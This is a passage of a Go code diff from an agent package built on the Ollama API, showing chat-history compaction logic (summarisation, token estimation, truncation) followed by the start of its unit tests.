Content: compactionSystemPrompt,
|
||||
},
|
||||
{
|
||||
Role: "user",
|
||||
Content: body,
|
||||
},
|
||||
},
|
||||
Options: req.Options,
|
||||
Think: req.Think,
|
||||
}
|
||||
if req.KeepAlive != nil {
|
||||
chatReq.KeepAlive = req.KeepAlive
|
||||
}
|
||||
|
||||
var summary strings.Builder
|
||||
if err := c.Client.Chat(ctx, chatReq, func(response api.ChatResponse) error {
|
||||
summary.WriteString(response.Message.Content)
|
||||
if req.Progress != nil {
|
||||
tokens := response.EvalCount
|
||||
if tokens <= 0 {
|
||||
tokens = estimateCompactionTokens(summary.String())
|
||||
}
|
||||
req.Progress(CompactionProgress{Tokens: tokens})
|
||||
}
|
||||
return nil
|
||||
}); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return summary.String(), nil
|
||||
}
|
||||
|
||||
func (c *SimpleCompactor) summarizeEmptyFallback(ctx context.Context, req CompactionRequest, previousSummary string, archive []api.Message) (string, error) {
|
||||
retry := req
|
||||
retry.Think = &api.ThinkValue{Value: false}
|
||||
summary, err := c.summarize(ctx, retry, previousSummary, archive)
|
||||
if err == nil {
|
||||
return summary, nil
|
||||
}
|
||||
if !isUnsupportedCompactionThinkError(err) {
|
||||
return "", err
|
||||
}
|
||||
if req.Think == nil {
|
||||
return "", nil
|
||||
}
|
||||
retry.Think = nil
|
||||
return c.summarize(ctx, retry, previousSummary, archive)
|
||||
}
|
||||
|
||||
func isUnsupportedCompactionThinkError(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
text := strings.ToLower(err.Error())
|
||||
if !strings.Contains(text, "think") {
|
||||
return false
|
||||
}
|
||||
var statusErr api.StatusError
|
||||
if errors.As(err, &statusErr) && statusErr.StatusCode != 0 {
|
||||
return statusErr.StatusCode == http.StatusBadRequest
|
||||
}
|
||||
return strings.Contains(text, "does not support") || strings.Contains(text, "not supported") || strings.Contains(text, "unsupported")
|
||||
}
|
||||
|
||||
// compactionSummaryMessageForTask renders a compaction summary as the content
|
||||
// string stored on the synthetic tool-result message.
|
||||
func compactionSummaryMessageForTask(summary string, continueTask bool) string {
|
||||
content := CompactionSummaryMessagePrefix + strings.TrimSpace(summary)
|
||||
if continueTask {
|
||||
content = strings.TrimSpace(content) + "\n\n" + CompactionContinueInstruction
|
||||
}
|
||||
return content
|
||||
}
|
||||
|
||||
// CompactionSummaryMessages renders a compaction summary as the assistant
|
||||
// tool-call plus tool-result pair that represents a compacted turn in the
|
||||
// message history. This is the canonical builder used by both the compactor
|
||||
// and the chat store.
|
||||
func CompactionSummaryMessages(summary string, continueTask bool) []api.Message {
|
||||
return []api.Message{
|
||||
{
|
||||
Role: "assistant",
|
||||
ToolCalls: []api.ToolCall{{
|
||||
ID: CompactionToolCallID,
|
||||
Function: api.ToolCallFunction{
|
||||
Name: CompactionToolName,
|
||||
},
|
||||
}},
|
||||
},
|
||||
{
|
||||
Role: "tool",
|
||||
ToolName: CompactionToolName,
|
||||
ToolCallID: CompactionToolCallID,
|
||||
Content: compactionSummaryMessageForTask(summary, continueTask),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (c *SimpleCompactor) compactionPromptBodyBudgetTokens(options map[string]any) int {
|
||||
contextWindow := c.contextWindowTokens(options)
|
||||
threshold := int(float64(contextWindow) * c.threshold())
|
||||
if threshold <= 0 {
|
||||
return 0
|
||||
}
|
||||
systemTokens := estimateCompactionTokens("system") + estimateCompactionTokens(compactionSystemPrompt)
|
||||
userRoleTokens := estimateCompactionTokens("user")
|
||||
budget := threshold - systemTokens - userRoleTokens
|
||||
if budget <= 0 {
|
||||
return 0
|
||||
}
|
||||
return budget
|
||||
}
|
||||
|
||||
func truncateCompactionSummary(summary string) string {
|
||||
if len(summary) <= maxCompactionSummaryBytes {
|
||||
return summary
|
||||
}
|
||||
limit := maxCompactionSummaryBytes - len(compactionSummaryTruncated)
|
||||
if limit < 0 {
|
||||
limit = 0
|
||||
}
|
||||
var b strings.Builder
|
||||
for _, r := range summary {
|
||||
if b.Len()+len(string(r)) > limit {
|
||||
break
|
||||
}
|
||||
b.WriteRune(r)
|
||||
}
|
||||
return strings.TrimSpace(b.String()) + compactionSummaryTruncated
|
||||
}
|
||||
|
||||
func estimateCompactionTokens(text string) int {
|
||||
text = strings.TrimSpace(text)
|
||||
if text == "" {
|
||||
return 0
|
||||
}
|
||||
return max(1, (len([]rune(text))+3)/4)
|
||||
}
|
||||
|
||||
// EstimateTokens returns the agent's lightweight token estimate for UI hints.
|
||||
func EstimateTokens(text string) int {
|
||||
return estimateCompactionTokens(text)
|
||||
}
|
||||
|
||||
// EstimatePromptTokens returns the agent's lightweight estimate for the prompt
|
||||
// payload sent to /api/chat.
|
||||
func EstimatePromptTokens(systemPrompt string, messages []api.Message, tools api.Tools, format string) int {
|
||||
return estimateCompactionRequestTokens(CompactionRequest{
|
||||
SystemPrompt: systemPrompt,
|
||||
Messages: messages,
|
||||
Tools: tools,
|
||||
Format: format,
|
||||
})
|
||||
}
|
||||
|
||||
func estimateMessagesTokens(messages []api.Message) int {
|
||||
var total int
|
||||
for _, msg := range messages {
|
||||
total += estimateCompactionTokens(msg.Role)
|
||||
total += estimateCompactionTokens(msg.Content)
|
||||
total += estimateCompactionTokens(msg.Thinking)
|
||||
total += estimateCompactionTokens(msg.ToolName)
|
||||
total += estimateCompactionTokens(msg.ToolCallID)
|
||||
for _, call := range msg.ToolCalls {
|
||||
total += estimateCompactionTokens(call.Function.Name)
|
||||
total += estimateCompactionTokens(call.Function.Arguments.String())
|
||||
}
|
||||
}
|
||||
return total
|
||||
}
|
||||
|
||||
func estimateCompactionRequestTokens(req CompactionRequest) int {
|
||||
requestMessages := sanitizeMessagesForEstimate(req.Messages)
|
||||
if strings.TrimSpace(req.SystemPrompt) != "" {
|
||||
requestMessages = make([]api.Message, 0, len(req.Messages)+1)
|
||||
requestMessages = append(requestMessages, api.Message{Role: "system", Content: strings.TrimSpace(req.SystemPrompt)})
|
||||
requestMessages = append(requestMessages, sanitizeMessagesForEstimate(req.Messages)...)
|
||||
}
|
||||
|
||||
payload := struct {
|
||||
Messages []api.Message `json:"messages,omitempty"`
|
||||
Tools api.Tools `json:"tools,omitempty"`
|
||||
Format json.RawMessage `json:"format,omitempty"`
|
||||
}{
|
||||
Messages: requestMessages,
|
||||
Tools: req.Tools,
|
||||
}
|
||||
if rawFormat, ok := compactionFormatForEstimate(req.Format); ok {
|
||||
payload.Format = rawFormat
|
||||
}
|
||||
if data, err := json.Marshal(payload); err == nil {
|
||||
return estimateCompactionTokens(string(data))
|
||||
}
|
||||
|
||||
total := estimateMessagesTokens(requestMessages)
|
||||
total += estimateCompactionTokens(req.Tools.String())
|
||||
total += estimateCompactionTokens(req.Format)
|
||||
return total
|
||||
}
|
||||
|
||||
func sanitizeMessagesForEstimate(messages []api.Message) []api.Message {
|
||||
requestMessages := sanitizeMessagesForRequest(messages)
|
||||
for i := range requestMessages {
|
||||
// Image token accounting is model-specific. Without the active model's
|
||||
// tokenizer and vision accounting, raw image bytes/base64 make the
|
||||
// estimate look much larger than the prompt the model actually sees.
|
||||
requestMessages[i].Images = nil
|
||||
}
|
||||
return requestMessages
|
||||
}
|
||||
|
||||
func compactionFormatForEstimate(format string) (json.RawMessage, bool) {
|
||||
format = strings.TrimSpace(format)
|
||||
if format == "" {
|
||||
return nil, false
|
||||
}
|
||||
if format == "json" {
|
||||
return json.RawMessage(`"json"`), true
|
||||
}
|
||||
if !json.Valid([]byte(format)) {
|
||||
return nil, false
|
||||
}
|
||||
return json.RawMessage(format), true
|
||||
}
|
||||
|
||||
func compactionPrompt(previousSummary string, archive []api.Message, maxTokens int) (string, error) {
|
||||
messages := make([]api.Message, 0, len(archive))
|
||||
for _, msg := range archive {
|
||||
msg.Thinking = ""
|
||||
msg.Images = nil
|
||||
messages = append(messages, msg)
|
||||
}
|
||||
return renderCompactionPrompt(previousSummary, fitCompactionMessagesToBudget(previousSummary, messages, maxTokens))
|
||||
}
|
||||
|
||||
func renderCompactionPrompt(previousSummary string, messages []api.Message) (string, error) {
|
||||
payload, err := json.MarshalIndent(messages, "", " ")
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("marshal compaction messages: %w", err)
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
if strings.TrimSpace(previousSummary) != "" {
|
||||
b.WriteString("Previous summary:\n")
|
||||
b.WriteString(strings.TrimSpace(previousSummary))
|
||||
b.WriteString("\n\n")
|
||||
}
|
||||
b.WriteString("Messages to archive as JSON:\n")
|
||||
b.Write(payload)
|
||||
return b.String(), nil
|
||||
}
|
||||
|
||||
func fitCompactionMessagesToBudget(previousSummary string, messages []api.Message, maxTokens int) []api.Message {
|
||||
if maxTokens <= 0 {
|
||||
return messages
|
||||
}
|
||||
fitted := append([]api.Message(nil), messages...)
|
||||
for range 16 {
|
||||
body, err := renderCompactionPrompt(previousSummary, fitted)
|
||||
if err != nil || estimateCompactionTokens(body) <= maxTokens {
|
||||
return fitted
|
||||
}
|
||||
|
||||
idx := largestCompactionContentMessage(fitted)
|
||||
if idx < 0 {
|
||||
return fitted
|
||||
}
|
||||
overageTokens := estimateCompactionTokens(body) - maxTokens
|
||||
currentRunes := len([]rune(fitted[idx].Content))
|
||||
nextRunes := currentRunes - overageTokens*4 - 256
|
||||
if nextRunes >= currentRunes {
|
||||
nextRunes = currentRunes / 2
|
||||
}
|
||||
fitted[idx].Content = truncateToolResultContentTo(fitted[idx].Content, nextRunes)
|
||||
}
|
||||
return fitted
|
||||
}
|
||||
|
||||
func largestCompactionContentMessage(messages []api.Message) int {
|
||||
idx := -1
|
||||
size := 0
|
||||
for i, msg := range messages {
|
||||
n := len([]rune(msg.Content))
|
||||
if n > size {
|
||||
idx = i
|
||||
size = n
|
||||
}
|
||||
}
|
||||
return idx
|
||||
}
|
||||
|
||||
func splitCompactionMessages(messages []api.Message, keepUserTurns int) (prefix []api.Message, previousSummary string, archive []api.Message, suffix []api.Message, keptUserTurns int, ok bool) {
|
||||
if keepUserTurns < 0 {
|
||||
keepUserTurns = defaultCompactionKeepUserTurns
|
||||
}
|
||||
|
||||
start := 0
|
||||
for start < len(messages) && messages[start].Role == "system" && !isCompactionSummary(messages[start]) {
|
||||
prefix = append(prefix, messages[start])
|
||||
start++
|
||||
}
|
||||
|
||||
candidates := make([]api.Message, 0, len(messages)-start)
|
||||
for i := start; i < len(messages); i++ {
|
||||
msg := messages[i]
|
||||
if isCompactionSummary(msg) {
|
||||
previousSummary = CompactionSummaryText(msg.Content)
|
||||
continue
|
||||
}
|
||||
if isCompactionToolCall(msg) {
|
||||
if i+1 < len(messages) && isCompactionSummary(messages[i+1]) {
|
||||
previousSummary = CompactionSummaryText(messages[i+1].Content)
|
||||
i++
|
||||
}
|
||||
continue
|
||||
}
|
||||
candidates = append(candidates, msg)
|
||||
}
|
||||
|
||||
userTurnIndexes := make([]int, 0, keepUserTurns)
|
||||
for i := len(candidates) - 1; i >= 0; i-- {
|
||||
if candidates[i].Role == "user" {
|
||||
userTurnIndexes = append(userTurnIndexes, i)
|
||||
}
|
||||
}
|
||||
keptUserTurns = keepUserTurns
|
||||
if len(userTurnIndexes) <= keptUserTurns {
|
||||
keptUserTurns = len(userTurnIndexes) - 1
|
||||
}
|
||||
if keptUserTurns < 0 {
|
||||
keptUserTurns = 0
|
||||
}
|
||||
|
||||
suffixStart := len(candidates)
|
||||
if keptUserTurns > 0 {
|
||||
suffixStart = userTurnIndexes[keptUserTurns-1]
|
||||
}
|
||||
if suffixStart <= 0 || len(candidates[:suffixStart]) == 0 {
|
||||
return prefix, previousSummary, nil, nil, keptUserTurns, false
|
||||
}
|
||||
|
||||
return prefix, previousSummary, candidates[:suffixStart], candidates[suffixStart:], keptUserTurns, true
|
||||
}
|
||||
|
||||
func isCompactionToolName(name string) bool {
|
||||
return name == CompactionToolName
|
||||
}
|
||||
|
||||
func isCompactionSummary(msg api.Message) bool {
|
||||
return (msg.Role == "user" || msg.Role == "system" || (msg.Role == "tool" && isCompactionToolName(msg.ToolName))) &&
|
||||
strings.HasPrefix(msg.Content, CompactionSummaryMessagePrefix)
|
||||
}
|
||||
|
||||
// IsCompactionSummary reports whether msg uses the canonical compaction
|
||||
// summary message representation.
|
||||
func IsCompactionSummary(msg api.Message) bool {
|
||||
return isCompactionSummary(msg)
|
||||
}
|
||||
|
||||
// CompactionSummaryContent returns the user-visible summary from msg when it
|
||||
// is a canonical compaction summary.
|
||||
func CompactionSummaryContent(msg api.Message) (string, bool) {
|
||||
if !isCompactionSummary(msg) {
|
||||
return "", false
|
||||
}
|
||||
return CompactionSummaryText(msg.Content), true
|
||||
}
|
||||
|
||||
// IsCompactionToolResult reports whether msg is the synthetic tool result used
|
||||
// to represent compaction in message history.
|
||||
func IsCompactionToolResult(msg api.Message) bool {
|
||||
return msg.Role == "tool" && (isCompactionToolName(msg.ToolName) || msg.ToolCallID == CompactionToolCallID)
|
||||
}
|
||||
|
||||
// IsCompactionToolCall reports whether msg is the synthetic assistant tool
|
||||
// call paired with a compaction summary result.
|
||||
func IsCompactionToolCall(msg api.Message) bool {
|
||||
return isCompactionToolCall(msg)
|
||||
}
|
||||
|
||||
func isCompactionToolCall(msg api.Message) bool {
|
||||
if msg.Role != "assistant" {
|
||||
return false
|
||||
}
|
||||
for _, call := range msg.ToolCalls {
|
||||
if isCompactionToolName(call.Function.Name) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// CompactionSummaryText reverses CompactionSummaryMessages, returning the
|
||||
// user-visible summary text with the prefix and any continuation instruction
|
||||
// removed.
|
||||
func CompactionSummaryText(content string) string {
|
||||
return strings.TrimSpace(strings.TrimSuffix(
|
||||
strings.TrimSpace(strings.TrimPrefix(content, CompactionSummaryMessagePrefix)),
|
||||
CompactionContinueInstruction,
|
||||
))
|
||||
}
|
||||
|
||||
func intOption(options map[string]any, key string) int {
|
||||
if options == nil {
|
||||
return 0
|
||||
}
|
||||
switch v := options[key].(type) {
|
||||
case int:
|
||||
return v
|
||||
case int64:
|
||||
return int(v)
|
||||
case float64:
|
||||
return int(v)
|
||||
case float32:
|
||||
return int(v)
|
||||
case json.Number:
|
||||
n, _ := v.Int64()
|
||||
return int(n)
|
||||
default:
|
||||
return 0
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,816 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
type compactionStore struct {
|
||||
chatID string
|
||||
keepUserTurns int
|
||||
summary string
|
||||
continueTask bool
|
||||
}
|
||||
|
||||
func (s *compactionStore) ArchiveForCompaction(_ context.Context, chatID string, keepUserTurns int, summary string, continueTask bool) error {
|
||||
s.chatID = chatID
|
||||
s.keepUserTurns = keepUserTurns
|
||||
s.summary = summary
|
||||
s.continueTask = continueTask
|
||||
return nil
|
||||
}
|
||||
|
||||
type scriptedCompactionClient struct {
|
||||
responses [][]api.ChatResponse
|
||||
errs []error
|
||||
requests []*api.ChatRequest
|
||||
}
|
||||
|
||||
func (c *scriptedCompactionClient) Chat(_ context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error {
|
||||
c.requests = append(c.requests, req)
|
||||
i := len(c.requests) - 1
|
||||
if i < len(c.responses) {
|
||||
for _, response := range c.responses[i] {
|
||||
if err := fn(response); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
if i < len(c.errs) {
|
||||
return c.errs[i]
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func assertCompactionSummaryPair(t *testing.T, messages []api.Message) {
|
||||
t.Helper()
|
||||
if len(messages) != 2 {
|
||||
t.Fatalf("compaction summary pair len = %d, want 2: %#v", len(messages), messages)
|
||||
}
|
||||
if messages[0].Role != "assistant" || len(messages[0].ToolCalls) != 1 || messages[0].ToolCalls[0].Function.Name != CompactionToolName {
|
||||
t.Fatalf("compaction assistant message = %#v", messages[0])
|
||||
}
|
||||
if messages[0].ToolCalls[0].Function.Arguments.Len() != 0 {
|
||||
t.Fatalf("compaction summary tool call should not have arguments: %#v", messages[0].ToolCalls[0].Function.Arguments.ToMap())
|
||||
}
|
||||
if messages[1].Role != "tool" || messages[1].ToolName != CompactionToolName || messages[1].ToolCallID != messages[0].ToolCalls[0].ID {
|
||||
t.Fatalf("compaction tool result = %#v", messages[1])
|
||||
}
|
||||
if !strings.HasPrefix(messages[1].Content, CompactionSummaryMessagePrefix) {
|
||||
t.Fatalf("compaction tool result missing summary prefix: %#v", messages[1])
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorSummarizesOldMessages(t *testing.T) {
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: "summary"}},
|
||||
}},
|
||||
}
|
||||
store := &compactionStore{}
|
||||
compactor := NewSimpleCompactor(client, store, CompactionOptions{
|
||||
ContextWindowTokens: 16000,
|
||||
KeepUserTurns: 2,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
messages := []api.Message{
|
||||
{Role: "system", Content: "stay pinned"},
|
||||
{Role: "user", Content: "old request"},
|
||||
{Role: "assistant", Content: "old answer", Thinking: "hidden"},
|
||||
{Role: "user", Content: "recent one"},
|
||||
{Role: "assistant", Content: "recent answer"},
|
||||
{Role: "user", Content: "recent two"},
|
||||
}
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
ChatID: "chat-1",
|
||||
Model: "model",
|
||||
Messages: messages,
|
||||
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Compacted {
|
||||
t.Fatal("expected compaction")
|
||||
}
|
||||
compacted := result.Messages
|
||||
if len(compacted) != 6 {
|
||||
t.Fatalf("compacted messages = %d, want 6", len(compacted))
|
||||
}
|
||||
if compacted[0].Content != "stay pinned" {
|
||||
t.Fatalf("first message = %#v", compacted[0])
|
||||
}
|
||||
if result.Summary != "summary" {
|
||||
t.Fatalf("result summary = %q", result.Summary)
|
||||
}
|
||||
assertCompactionSummaryPair(t, compacted[1:3])
|
||||
if compacted[3].Content != "recent one" || compacted[5].Content != "recent two" {
|
||||
t.Fatalf("recent turns were not kept: %#v", compacted)
|
||||
}
|
||||
if store.chatID != "chat-1" || store.keepUserTurns != 2 || store.summary != "summary" || store.continueTask {
|
||||
t.Fatalf("archive call = %#v", store)
|
||||
}
|
||||
if len(client.requests) != 1 {
|
||||
t.Fatalf("summary requests = %d, want 1", len(client.requests))
|
||||
}
|
||||
if strings.Contains(client.requests[0].Messages[1].Content, "hidden") {
|
||||
t.Fatal("compaction prompt should omit thinking")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorKeepsOnlySummaryForSmallContext(t *testing.T) {
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: "small context summary"}},
|
||||
}},
|
||||
}
|
||||
store := &compactionStore{}
|
||||
compactor := NewSimpleCompactor(client, store, CompactionOptions{
|
||||
ContextWindowTokens: compactOnlySummaryContextTokens - 1,
|
||||
KeepUserTurns: 3,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
ChatID: "chat-1",
|
||||
Model: "model",
|
||||
ContinueTask: true,
|
||||
Messages: []api.Message{
|
||||
{Role: "system", Content: "pinned"},
|
||||
{Role: "user", Content: "old request"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "latest request"},
|
||||
},
|
||||
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Compacted {
|
||||
t.Fatal("expected compaction")
|
||||
}
|
||||
if store.keepUserTurns != 0 {
|
||||
t.Fatalf("keepUserTurns = %d, want 0 for small context", store.keepUserTurns)
|
||||
}
|
||||
if len(result.Messages) != 3 {
|
||||
t.Fatalf("messages = %#v, want system plus compaction summary pair", result.Messages)
|
||||
}
|
||||
if result.Messages[0].Content != "pinned" {
|
||||
t.Fatalf("leading system message not kept: %#v", result.Messages)
|
||||
}
|
||||
assertCompactionSummaryPair(t, result.Messages[1:])
|
||||
if !strings.Contains(result.Messages[2].Content, CompactionContinueInstruction) {
|
||||
t.Fatalf("tool result missing continue instruction: %q", result.Messages[2].Content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorAddsContinueTaskInstructionOnlyToToolResult(t *testing.T) {
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: "summary"}},
|
||||
}},
|
||||
}
|
||||
store := &compactionStore{}
|
||||
compactor := NewSimpleCompactor(client, store, CompactionOptions{
|
||||
ContextWindowTokens: 100,
|
||||
KeepUserTurns: 1,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
ChatID: "chat-1",
|
||||
Model: "model",
|
||||
ContinueTask: true,
|
||||
Messages: []api.Message{
|
||||
{Role: "user", Content: "old request"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "recent request"},
|
||||
},
|
||||
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Summary != "summary" {
|
||||
t.Fatalf("result summary = %q", result.Summary)
|
||||
}
|
||||
content := result.Messages[1].Content
|
||||
if !strings.Contains(content, CompactionContinueInstruction) {
|
||||
t.Fatalf("tool result missing continue instruction: %q", content)
|
||||
}
|
||||
if got := CompactionSummaryText(content); got != "summary" {
|
||||
t.Fatalf("visible summary text = %q", got)
|
||||
}
|
||||
if !store.continueTask || store.summary != "summary" {
|
||||
t.Fatalf("archive call = %#v", store)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorTruncatesOversizedSummary(t *testing.T) {
|
||||
longSummary := strings.Repeat("x", maxCompactionSummaryBytes+1024)
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: longSummary}},
|
||||
}},
|
||||
}
|
||||
store := &compactionStore{}
|
||||
compactor := NewSimpleCompactor(client, store, CompactionOptions{
|
||||
ContextWindowTokens: 100,
|
||||
KeepUserTurns: 1,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
ChatID: "chat-1",
|
||||
Model: "model",
|
||||
Messages: []api.Message{
|
||||
{Role: "user", Content: "old one"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "recent one"},
|
||||
},
|
||||
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Compacted {
|
||||
t.Fatal("expected compaction")
|
||||
}
|
||||
if len(result.Summary) > maxCompactionSummaryBytes {
|
||||
t.Fatalf("summary bytes = %d, want <= %d", len(result.Summary), maxCompactionSummaryBytes)
|
||||
}
|
||||
if !strings.HasSuffix(result.Summary, compactionSummaryTruncated) {
|
||||
t.Fatalf("summary missing truncation marker")
|
||||
}
|
||||
if store.summary != result.Summary {
|
||||
t.Fatalf("stored summary mismatch")
|
||||
}
|
||||
if !strings.Contains(result.Messages[1].Content, compactionSummaryTruncated) {
|
||||
t.Fatalf("compacted message missing truncation marker: %#v", result.Messages)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorRetriesEmptySummaryWithThinkFalse(t *testing.T) {
|
||||
client := &scriptedCompactionClient{
|
||||
responses: [][]api.ChatResponse{
|
||||
{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
|
||||
{{Message: api.Message{Role: "assistant", Content: "fallback summary"}}},
|
||||
},
|
||||
}
|
||||
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
|
||||
ContextWindowTokens: 100,
|
||||
KeepUserTurns: 1,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
Model: "model",
|
||||
Messages: []api.Message{
|
||||
{Role: "user", Content: "old request"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "recent request"},
|
||||
},
|
||||
Force: true,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Compacted || result.Summary != "fallback summary" {
|
||||
t.Fatalf("compaction result = %#v", result)
|
||||
}
|
||||
if len(client.requests) != 2 {
|
||||
t.Fatalf("summary requests = %d, want 2", len(client.requests))
|
||||
}
|
||||
if client.requests[0].Think != nil {
|
||||
t.Fatalf("first summary request think = %#v, want nil", client.requests[0].Think)
|
||||
}
|
||||
if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
|
||||
t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorIgnoresUnsupportedThinkFalseFallback(t *testing.T) {
|
||||
client := &scriptedCompactionClient{
|
||||
responses: [][]api.ChatResponse{
|
||||
{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
|
||||
nil,
|
||||
},
|
||||
errs: []error{
|
||||
nil,
|
||||
api.StatusError{StatusCode: http.StatusBadRequest, ErrorMessage: "model does not support thinking"},
|
||||
},
|
||||
}
|
||||
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
|
||||
ContextWindowTokens: 100,
|
||||
KeepUserTurns: 1,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
Model: "model",
|
||||
Messages: []api.Message{
|
||||
{Role: "user", Content: "old request"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "recent request"},
|
||||
},
|
||||
Force: true,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Compacted || result.Reason != "summary was empty" {
|
||||
t.Fatalf("compaction result = %#v", result)
|
||||
}
|
||||
if len(client.requests) != 2 {
|
||||
t.Fatalf("summary requests = %d, want 2", len(client.requests))
|
||||
}
|
||||
if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
|
||||
t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorFallsBackToUnsetThinkWhenThinkFalseUnsupported(t *testing.T) {
|
||||
client := &scriptedCompactionClient{
|
||||
responses: [][]api.ChatResponse{
|
||||
{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
|
||||
nil,
|
||||
{{Message: api.Message{Role: "assistant", Content: "unset think summary"}}},
|
||||
},
|
||||
errs: []error{
|
||||
nil,
|
||||
api.StatusError{StatusCode: http.StatusBadRequest, ErrorMessage: "think level is not supported"},
|
||||
nil,
|
||||
},
|
||||
}
|
||||
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
|
||||
ContextWindowTokens: 100,
|
||||
KeepUserTurns: 1,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
thinkHigh := &api.ThinkValue{Value: "high"}
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
Model: "model",
|
||||
Messages: []api.Message{
|
||||
{Role: "user", Content: "old request"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "recent request"},
|
||||
},
|
||||
Think: thinkHigh,
|
||||
Force: true,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Compacted || result.Summary != "unset think summary" {
|
||||
t.Fatalf("compaction result = %#v", result)
|
||||
}
|
||||
if len(client.requests) != 3 {
|
||||
t.Fatalf("summary requests = %d, want 3", len(client.requests))
|
||||
}
|
||||
if client.requests[0].Think != thinkHigh {
|
||||
t.Fatalf("first summary request think = %#v, want original", client.requests[0].Think)
|
||||
}
|
||||
if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
|
||||
t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
|
||||
}
|
||||
if client.requests[2].Think != nil {
|
||||
t.Fatalf("unsupported fallback retry think = %#v, want nil", client.requests[2].Think)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorKeepsFewerTurnsForShortChats(t *testing.T) {
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: "short summary"}},
|
||||
}},
|
||||
}
|
||||
store := &compactionStore{}
|
||||
compactor := NewSimpleCompactor(client, store, CompactionOptions{
|
||||
ContextWindowTokens: 16000,
|
||||
KeepUserTurns: 3,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
ChatID: "chat-1",
|
||||
Model: "model",
|
||||
Messages: []api.Message{
|
||||
{Role: "user", Content: "old request"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "latest request"},
|
||||
},
|
||||
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
